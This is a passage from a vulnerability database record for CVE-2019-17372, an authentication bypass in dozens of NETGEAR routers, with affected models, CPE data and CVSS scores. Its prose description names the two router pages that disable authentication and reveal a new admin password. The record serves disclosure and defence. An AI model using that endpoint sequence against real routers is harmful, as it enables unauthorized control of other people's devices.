All the vulnerabilites related to netgear - wndr3700v3
var-201910-1260
Vulnerability from variot
Certain NETGEAR devices allow remote attackers to disable all authentication requirements by visiting genieDisableLanChanged.cgi. The attacker can then, for example, visit MNU_accessPassword_recovered.html to obtain a valid new admin password. This affects AC1450, D8500, DC112A, JNDR3000, LG2200D, R4500, R6200, R6200V2, R6250, R6300, R6300v2, R6400, R6700, R6900P, R6900, R7000P, R7000, R7100LG, R7300, R7900, R8000, R8300, R8500, WGR614v10, WN2500RPv2, WNDR3400v2, WNDR3700v3, WNDR4000, WNDR4500, WNDR4500v2, WNR1000, WNR1000v3, WNR3500L, and WNR3500L. plural NETGEAR The device contains an authentication vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. NETGEAR AC1450, etc. are all wireless routers of NETGEAR.
A number of NETGEAR products have authorization issues. The vulnerability stems from the lack of authentication measures or insufficient authentication strength in network systems or products. There is currently no detailed vulnerability details provided
Show details on source website{
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#",
"affected_products": {
"@id": "https://www.variotdbs.pl/ref/affected_products"
},
"configurations": {
"@id": "https://www.variotdbs.pl/ref/configurations"
},
"credits": {
"@id": "https://www.variotdbs.pl/ref/credits"
},
"cvss": {
"@id": "https://www.variotdbs.pl/ref/cvss/"
},
"description": {
"@id": "https://www.variotdbs.pl/ref/description/"
},
"exploit_availability": {
"@id": "https://www.variotdbs.pl/ref/exploit_availability/"
},
"external_ids": {
"@id": "https://www.variotdbs.pl/ref/external_ids/"
},
"iot": {
"@id": "https://www.variotdbs.pl/ref/iot/"
},
"iot_taxonomy": {
"@id": "https://www.variotdbs.pl/ref/iot_taxonomy/"
},
"patch": {
"@id": "https://www.variotdbs.pl/ref/patch/"
},
"problemtype_data": {
"@id": "https://www.variotdbs.pl/ref/problemtype_data/"
},
"references": {
"@id": "https://www.variotdbs.pl/ref/references/"
},
"sources": {
"@id": "https://www.variotdbs.pl/ref/sources/"
},
"sources_release_date": {
"@id": "https://www.variotdbs.pl/ref/sources_release_date/"
},
"sources_update_date": {
"@id": "https://www.variotdbs.pl/ref/sources_update_date/"
},
"threat_type": {
"@id": "https://www.variotdbs.pl/ref/threat_type/"
},
"title": {
"@id": "https://www.variotdbs.pl/ref/title/"
},
"type": {
"@id": "https://www.variotdbs.pl/ref/type/"
}
},
"@id": "https://www.variotdbs.pl/vuln/VAR-201910-1260",
"affected_products": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/affected_products#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"model": "wndr4500",
"scope": "eq",
"trust": 2.2,
"vendor": "netgear",
"version": null
},
{
"model": "wnr3500l",
"scope": "eq",
"trust": 2.2,
"vendor": "netgear",
"version": null
},
{
"model": "wnr1000v3",
"scope": "eq",
"trust": 2.2,
"vendor": "netgear",
"version": null
},
{
"model": "wnr1000",
"scope": "eq",
"trust": 2.2,
"vendor": "netgear",
"version": null
},
{
"model": "wndr4500v2",
"scope": "eq",
"trust": 2.2,
"vendor": "netgear",
"version": null
},
{
"model": "r8500",
"scope": "eq",
"trust": 1.0,
"vendor": "netgear",
"version": null
},
{
"model": "r6200v2",
"scope": "eq",
"trust": 1.0,
"vendor": "netgear",
"version": null
},
{
"model": "ac1450",
"scope": "eq",
"trust": 1.0,
"vendor": "netgear",
"version": null
},
{
"model": "r7300",
"scope": "eq",
"trust": 1.0,
"vendor": "netgear",
"version": null
},
{
"model": "r6900p",
"scope": "eq",
"trust": 1.0,
"vendor": "netgear",
"version": null
},
{
"model": "r6400",
"scope": "eq",
"trust": 1.0,
"vendor": "netgear",
"version": null
},
{
"model": "r7000",
"scope": "eq",
"trust": 1.0,
"vendor": "netgear",
"version": null
},
{
"model": "r6300v2",
"scope": "eq",
"trust": 1.0,
"vendor": "netgear",
"version": null
},
{
"model": "r8300",
"scope": "eq",
"trust": 1.0,
"vendor": "netgear",
"version": null
},
{
"model": "wndr3700v3",
"scope": "eq",
"trust": 1.0,
"vendor": "netgear",
"version": null
},
{
"model": "jndr3000",
"scope": "eq",
"trust": 1.0,
"vendor": "netgear",
"version": null
},
{
"model": "wndr4000",
"scope": "eq",
"trust": 1.0,
"vendor": "netgear",
"version": null
},
{
"model": "d8500",
"scope": "eq",
"trust": 1.0,
"vendor": "netgear",
"version": null
},
{
"model": "r7000p",
"scope": "eq",
"trust": 1.0,
"vendor": "netgear",
"version": null
},
{
"model": "wgr614v10",
"scope": "eq",
"trust": 1.0,
"vendor": "netgear",
"version": null
},
{
"model": "r6250",
"scope": "eq",
"trust": 1.0,
"vendor": "netgear",
"version": null
},
{
"model": "r7900",
"scope": "eq",
"trust": 1.0,
"vendor": "netgear",
"version": null
},
{
"model": "wn2500rpv2",
"scope": "eq",
"trust": 1.0,
"vendor": "netgear",
"version": null
},
{
"model": "r6200",
"scope": "eq",
"trust": 1.0,
"vendor": "netgear",
"version": null
},
{
"model": "r6300",
"scope": "eq",
"trust": 1.0,
"vendor": "netgear",
"version": null
},
{
"model": "lg2200d",
"scope": "eq",
"trust": 1.0,
"vendor": "netgear",
"version": null
},
{
"model": "r6700",
"scope": "eq",
"trust": 1.0,
"vendor": "netgear",
"version": null
},
{
"model": "dc112a",
"scope": "eq",
"trust": 1.0,
"vendor": "netgear",
"version": null
},
{
"model": "wndr3400v2",
"scope": "eq",
"trust": 1.0,
"vendor": "netgear",
"version": null
},
{
"model": "r6900",
"scope": "eq",
"trust": 1.0,
"vendor": "netgear",
"version": null
},
{
"model": "r7100lg",
"scope": "eq",
"trust": 1.0,
"vendor": "netgear",
"version": null
},
{
"model": "r8000",
"scope": "eq",
"trust": 1.0,
"vendor": "netgear",
"version": null
},
{
"model": "r4500",
"scope": "eq",
"trust": 1.0,
"vendor": "netgear",
"version": null
},
{
"model": "ac1450",
"scope": null,
"trust": 0.8,
"vendor": "net gear",
"version": null
},
{
"model": "d8500",
"scope": null,
"trust": 0.8,
"vendor": "net gear",
"version": null
},
{
"model": "dc112a",
"scope": null,
"trust": 0.8,
"vendor": "net gear",
"version": null
},
{
"model": "jndr3000",
"scope": null,
"trust": 0.8,
"vendor": "net gear",
"version": null
},
{
"model": "lg2200d",
"scope": null,
"trust": 0.8,
"vendor": "net gear",
"version": null
},
{
"model": "r4500",
"scope": null,
"trust": 0.8,
"vendor": "net gear",
"version": null
},
{
"model": "r6200",
"scope": null,
"trust": 0.8,
"vendor": "net gear",
"version": null
},
{
"model": "r6200v2",
"scope": null,
"trust": 0.8,
"vendor": "net gear",
"version": null
},
{
"model": "r6250",
"scope": null,
"trust": 0.8,
"vendor": "net gear",
"version": null
},
{
"model": "r6300",
"scope": null,
"trust": 0.8,
"vendor": "net gear",
"version": null
},
{
"model": "ac1450",
"scope": null,
"trust": 0.6,
"vendor": "netgear",
"version": null
},
{
"model": "d8500",
"scope": null,
"trust": 0.6,
"vendor": "netgear",
"version": null
},
{
"model": "dc112a",
"scope": null,
"trust": 0.6,
"vendor": "netgear",
"version": null
},
{
"model": "jndr3000",
"scope": null,
"trust": 0.6,
"vendor": "netgear",
"version": null
},
{
"model": "lg2200d",
"scope": null,
"trust": 0.6,
"vendor": "netgear",
"version": null
},
{
"model": "r4500",
"scope": null,
"trust": 0.6,
"vendor": "netgear",
"version": null
},
{
"model": "r6200",
"scope": null,
"trust": 0.6,
"vendor": "netgear",
"version": null
},
{
"model": "r6200v2",
"scope": null,
"trust": 0.6,
"vendor": "netgear",
"version": null
},
{
"model": "r6250",
"scope": null,
"trust": 0.6,
"vendor": "netgear",
"version": null
},
{
"model": "r6300",
"scope": null,
"trust": 0.6,
"vendor": "netgear",
"version": null
},
{
"model": "r6300v2",
"scope": null,
"trust": 0.6,
"vendor": "netgear",
"version": null
},
{
"model": "r6400",
"scope": null,
"trust": 0.6,
"vendor": "netgear",
"version": null
},
{
"model": "r6700",
"scope": null,
"trust": 0.6,
"vendor": "netgear",
"version": null
},
{
"model": "r6900p",
"scope": null,
"trust": 0.6,
"vendor": "netgear",
"version": null
},
{
"model": "r6900",
"scope": null,
"trust": 0.6,
"vendor": "netgear",
"version": null
},
{
"model": "r7000p",
"scope": null,
"trust": 0.6,
"vendor": "netgear",
"version": null
},
{
"model": "r7000",
"scope": null,
"trust": 0.6,
"vendor": "netgear",
"version": null
},
{
"model": "r7100lg",
"scope": null,
"trust": 0.6,
"vendor": "netgear",
"version": null
},
{
"model": "r7300",
"scope": null,
"trust": 0.6,
"vendor": "netgear",
"version": null
},
{
"model": "r7900",
"scope": null,
"trust": 0.6,
"vendor": "netgear",
"version": null
},
{
"model": "r8000",
"scope": null,
"trust": 0.6,
"vendor": "netgear",
"version": null
},
{
"model": "r8300",
"scope": null,
"trust": 0.6,
"vendor": "netgear",
"version": null
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2020-23147"
},
{
"db": "JVNDB",
"id": "JVNDB-2019-011047"
},
{
"db": "NVD",
"id": "CVE-2019-17372"
},
{
"db": "CNNVD",
"id": "CNNVD-201910-510"
}
]
},
"configurations": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/configurations#",
"children": {
"@container": "@list"
},
"cpe_match": {
"@container": "@list"
},
"data": {
"@container": "@list"
},
"nodes": {
"@container": "@list"
}
},
"data": [
{
"CVE_data_version": "4.0",
"nodes": [
{
"children": [
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:o:netgear:ac1450_firmware:-:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
}
],
"operator": "OR"
},
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:h:netgear:ac1450:-:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": false
}
],
"operator": "OR"
}
],
"cpe_match": [],
"operator": "AND"
},
{
"children": [
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:o:netgear:d8500_firmware:-:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
}
],
"operator": "OR"
},
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:h:netgear:d8500:-:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": false
}
],
"operator": "OR"
}
],
"cpe_match": [],
"operator": "AND"
},
{
"children": [
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:o:netgear:dc112a_firmware:-:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
}
],
"operator": "OR"
},
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:h:netgear:dc112a:-:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": false
}
],
"operator": "OR"
}
],
"cpe_match": [],
"operator": "AND"
},
{
"children": [
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:o:netgear:jndr3000_firmware:-:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
}
],
"operator": "OR"
},
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:h:netgear:jndr3000:-:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": false
}
],
"operator": "OR"
}
],
"cpe_match": [],
"operator": "AND"
},
{
"children": [
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:o:netgear:lg2200d_firmware:-:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
}
],
"operator": "OR"
},
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:h:netgear:lg2200d:-:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": false
}
],
"operator": "OR"
}
],
"cpe_match": [],
"operator": "AND"
},
{
"children": [
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:o:netgear:r4500_firmware:-:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
}
],
"operator": "OR"
},
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:h:netgear:r4500:-:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": false
}
],
"operator": "OR"
}
],
"cpe_match": [],
"operator": "AND"
},
{
"children": [
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:o:netgear:r6200_firmware:-:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
}
],
"operator": "OR"
},
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:h:netgear:r6200:-:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": false
}
],
"operator": "OR"
}
],
"cpe_match": [],
"operator": "AND"
},
{
"children": [
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:o:netgear:r6200v2_firmware:-:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
}
],
"operator": "OR"
},
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:h:netgear:r6200v2:-:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": false
}
],
"operator": "OR"
}
],
"cpe_match": [],
"operator": "AND"
},
{
"children": [
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:o:netgear:r6250_firmware:-:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
}
],
"operator": "OR"
},
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:h:netgear:r6250:-:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": false
}
],
"operator": "OR"
}
],
"cpe_match": [],
"operator": "AND"
},
{
"children": [
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:o:netgear:r6300_firmware:-:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
}
],
"operator": "OR"
},
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:h:netgear:r6300:-:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": false
}
],
"operator": "OR"
}
],
"cpe_match": [],
"operator": "AND"
},
{
"children": [
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:o:netgear:r6300v2_firmware:-:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
}
],
"operator": "OR"
},
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:h:netgear:r6300v2:-:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": false
}
],
"operator": "OR"
}
],
"cpe_match": [],
"operator": "AND"
},
{
"children": [
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:o:netgear:r6400_firmware:-:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
}
],
"operator": "OR"
},
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:h:netgear:r6400:-:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": false
}
],
"operator": "OR"
}
],
"cpe_match": [],
"operator": "AND"
},
{
"children": [
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:o:netgear:r6700_firmware:-:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
}
],
"operator": "OR"
},
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:h:netgear:r6700:-:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": false
}
],
"operator": "OR"
}
],
"cpe_match": [],
"operator": "AND"
},
{
"children": [
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:o:netgear:r6900p_firmware:-:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
}
],
"operator": "OR"
},
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:h:netgear:r6900p:-:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": false
}
],
"operator": "OR"
}
],
"cpe_match": [],
"operator": "AND"
},
{
"children": [
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:o:netgear:r6900_firmware:-:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
}
],
"operator": "OR"
},
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:h:netgear:r6900:-:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": false
}
],
"operator": "OR"
}
],
"cpe_match": [],
"operator": "AND"
},
{
"children": [
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:o:netgear:r7000p_firmware:-:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
}
],
"operator": "OR"
},
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:h:netgear:r7000p:-:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": false
}
],
"operator": "OR"
}
],
"cpe_match": [],
"operator": "AND"
},
{
"children": [
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:o:netgear:r7000_firmware:-:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
}
],
"operator": "OR"
},
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:h:netgear:r7000:-:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": false
}
],
"operator": "OR"
}
],
"cpe_match": [],
"operator": "AND"
},
{
"children": [
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:o:netgear:r7100lg_firmware:-:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
}
],
"operator": "OR"
},
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:h:netgear:r7100lg:-:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": false
}
],
"operator": "OR"
}
],
"cpe_match": [],
"operator": "AND"
},
{
"children": [
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:o:netgear:r7300_firmware:-:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
}
],
"operator": "OR"
},
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:h:netgear:r7300:-:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": false
}
],
"operator": "OR"
}
],
"cpe_match": [],
"operator": "AND"
},
{
"children": [
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:o:netgear:r7900_firmware:-:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
}
],
"operator": "OR"
},
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:h:netgear:r7900:-:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": false
}
],
"operator": "OR"
}
],
"cpe_match": [],
"operator": "AND"
},
{
"children": [
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:o:netgear:r8000_firmware:-:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
}
],
"operator": "OR"
},
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:h:netgear:r8000:-:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": false
}
],
"operator": "OR"
}
],
"cpe_match": [],
"operator": "AND"
},
{
"children": [
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:o:netgear:r8300_firmware:-:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
}
],
"operator": "OR"
},
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:h:netgear:r8300:-:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": false
}
],
"operator": "OR"
}
],
"cpe_match": [],
"operator": "AND"
},
{
"children": [
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:o:netgear:r8500_firmware:-:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
}
],
"operator": "OR"
},
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:h:netgear:r8500:-:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": false
}
],
"operator": "OR"
}
],
"cpe_match": [],
"operator": "AND"
},
{
"children": [
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:o:netgear:wgr614v10_firmware:-:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
}
],
"operator": "OR"
},
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:h:netgear:wgr614v10:-:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": false
}
],
"operator": "OR"
}
],
"cpe_match": [],
"operator": "AND"
},
{
"children": [
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:o:netgear:wn2500rpv2_firmware:-:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
}
],
"operator": "OR"
},
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:h:netgear:wn2500rpv2:-:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": false
}
],
"operator": "OR"
}
],
"cpe_match": [],
"operator": "AND"
},
{
"children": [
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:o:netgear:wndr3400v2_firmware:-:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
}
],
"operator": "OR"
},
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:h:netgear:wndr3400v2:-:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": false
}
],
"operator": "OR"
}
],
"cpe_match": [],
"operator": "AND"
},
{
"children": [
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:o:netgear:wndr3700v3_firmware:-:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
}
],
"operator": "OR"
},
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:h:netgear:wndr3700v3:-:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": false
}
],
"operator": "OR"
}
],
"cpe_match": [],
"operator": "AND"
},
{
"children": [
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:o:netgear:wndr4000_firmware:-:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
}
],
"operator": "OR"
},
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:h:netgear:wndr4000:-:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": false
}
],
"operator": "OR"
}
],
"cpe_match": [],
"operator": "AND"
},
{
"children": [
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:o:netgear:wndr4500_firmware:-:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
}
],
"operator": "OR"
},
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:h:netgear:wndr4500:-:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": false
}
],
"operator": "OR"
}
],
"cpe_match": [],
"operator": "AND"
},
{
"children": [
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:o:netgear:wndr4500v2_firmware:-:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
}
],
"operator": "OR"
},
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:h:netgear:wndr4500v2:-:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": false
}
],
"operator": "OR"
}
],
"cpe_match": [],
"operator": "AND"
},
{
"children": [
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:o:netgear:wnr1000_firmware:-:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
}
],
"operator": "OR"
},
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:h:netgear:wnr1000:-:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": false
}
],
"operator": "OR"
}
],
"cpe_match": [],
"operator": "AND"
},
{
"children": [
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:o:netgear:wnr1000v3_firmware:-:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
}
],
"operator": "OR"
},
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:h:netgear:wnr1000v3:-:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": false
}
],
"operator": "OR"
}
],
"cpe_match": [],
"operator": "AND"
},
{
"children": [
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:o:netgear:wnr3500l_firmware:-:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
}
],
"operator": "OR"
},
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:h:netgear:wnr3500l:-:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": false
}
],
"operator": "OR"
}
],
"cpe_match": [],
"operator": "AND"
}
]
}
],
"sources": [
{
"db": "NVD",
"id": "CVE-2019-17372"
}
]
},
"cve": "CVE-2019-17372",
"cvss": {
"@context": {
"cvssV2": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV2"
},
"cvssV3": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/"
},
"severity": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/cvss/severity#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/severity"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"cvssV2": [
{
"acInsufInfo": false,
"accessComplexity": "MEDIUM",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "NVD",
"availabilityImpact": "NONE",
"baseScore": 4.3,
"confidentialityImpact": "PARTIAL",
"exploitabilityScore": 8.6,
"impactScore": 2.9,
"integrityImpact": "NONE",
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"severity": "MEDIUM",
"trust": 1.0,
"userInteractionRequired": false,
"vectorString": "AV:N/AC:M/Au:N/C:P/I:N/A:N",
"version": "2.0"
},
{
"acInsufInfo": null,
"accessComplexity": "Medium",
"accessVector": "Network",
"authentication": "None",
"author": "NVD",
"availabilityImpact": "None",
"baseScore": 4.3,
"confidentialityImpact": "Partial",
"exploitabilityScore": null,
"id": "CVE-2019-17372",
"impactScore": null,
"integrityImpact": "None",
"obtainAllPrivilege": null,
"obtainOtherPrivilege": null,
"obtainUserPrivilege": null,
"severity": "Medium",
"trust": 0.8,
"userInteractionRequired": null,
"vectorString": "AV:N/AC:M/Au:N/C:P/I:N/A:N",
"version": "2.0"
},
{
"accessComplexity": "MEDIUM",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "CNVD",
"availabilityImpact": "NONE",
"baseScore": 4.3,
"confidentialityImpact": "PARTIAL",
"exploitabilityScore": 8.6,
"id": "CNVD-2020-23147",
"impactScore": 2.9,
"integrityImpact": "NONE",
"severity": "MEDIUM",
"trust": 0.6,
"vectorString": "AV:N/AC:M/Au:N/C:P/I:N/A:N",
"version": "2.0"
}
],
"cvssV3": [
{
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"author": "NVD",
"availabilityImpact": "HIGH",
"baseScore": 8.1,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"exploitabilityScore": 2.2,
"impactScore": 5.9,
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"trust": 1.0,
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
{
"attackComplexity": "High",
"attackVector": "Network",
"author": "NVD",
"availabilityImpact": "High",
"baseScore": 8.1,
"baseSeverity": "High",
"confidentialityImpact": "High",
"exploitabilityScore": null,
"id": "CVE-2019-17372",
"impactScore": null,
"integrityImpact": "High",
"privilegesRequired": "None",
"scope": "Unchanged",
"trust": 0.8,
"userInteraction": "None",
"vectorString": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.0"
}
],
"severity": [
{
"author": "NVD",
"id": "CVE-2019-17372",
"trust": 1.8,
"value": "HIGH"
},
{
"author": "CNVD",
"id": "CNVD-2020-23147",
"trust": 0.6,
"value": "MEDIUM"
},
{
"author": "CNNVD",
"id": "CNNVD-201910-510",
"trust": 0.6,
"value": "HIGH"
}
]
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2020-23147"
},
{
"db": "JVNDB",
"id": "JVNDB-2019-011047"
},
{
"db": "NVD",
"id": "CVE-2019-17372"
},
{
"db": "CNNVD",
"id": "CNNVD-201910-510"
}
]
},
"description": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/description#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "Certain NETGEAR devices allow remote attackers to disable all authentication requirements by visiting genieDisableLanChanged.cgi. The attacker can then, for example, visit MNU_accessPassword_recovered.html to obtain a valid new admin password. This affects AC1450, D8500, DC112A, JNDR3000, LG2200D, R4500, R6200, R6200V2, R6250, R6300, R6300v2, R6400, R6700, R6900P, R6900, R7000P, R7000, R7100LG, R7300, R7900, R8000, R8300, R8500, WGR614v10, WN2500RPv2, WNDR3400v2, WNDR3700v3, WNDR4000, WNDR4500, WNDR4500v2, WNR1000, WNR1000v3, WNR3500L, and WNR3500L. plural NETGEAR The device contains an authentication vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. NETGEAR AC1450, etc. are all wireless routers of NETGEAR. \n\r\n\r\nA number of NETGEAR products have authorization issues. The vulnerability stems from the lack of 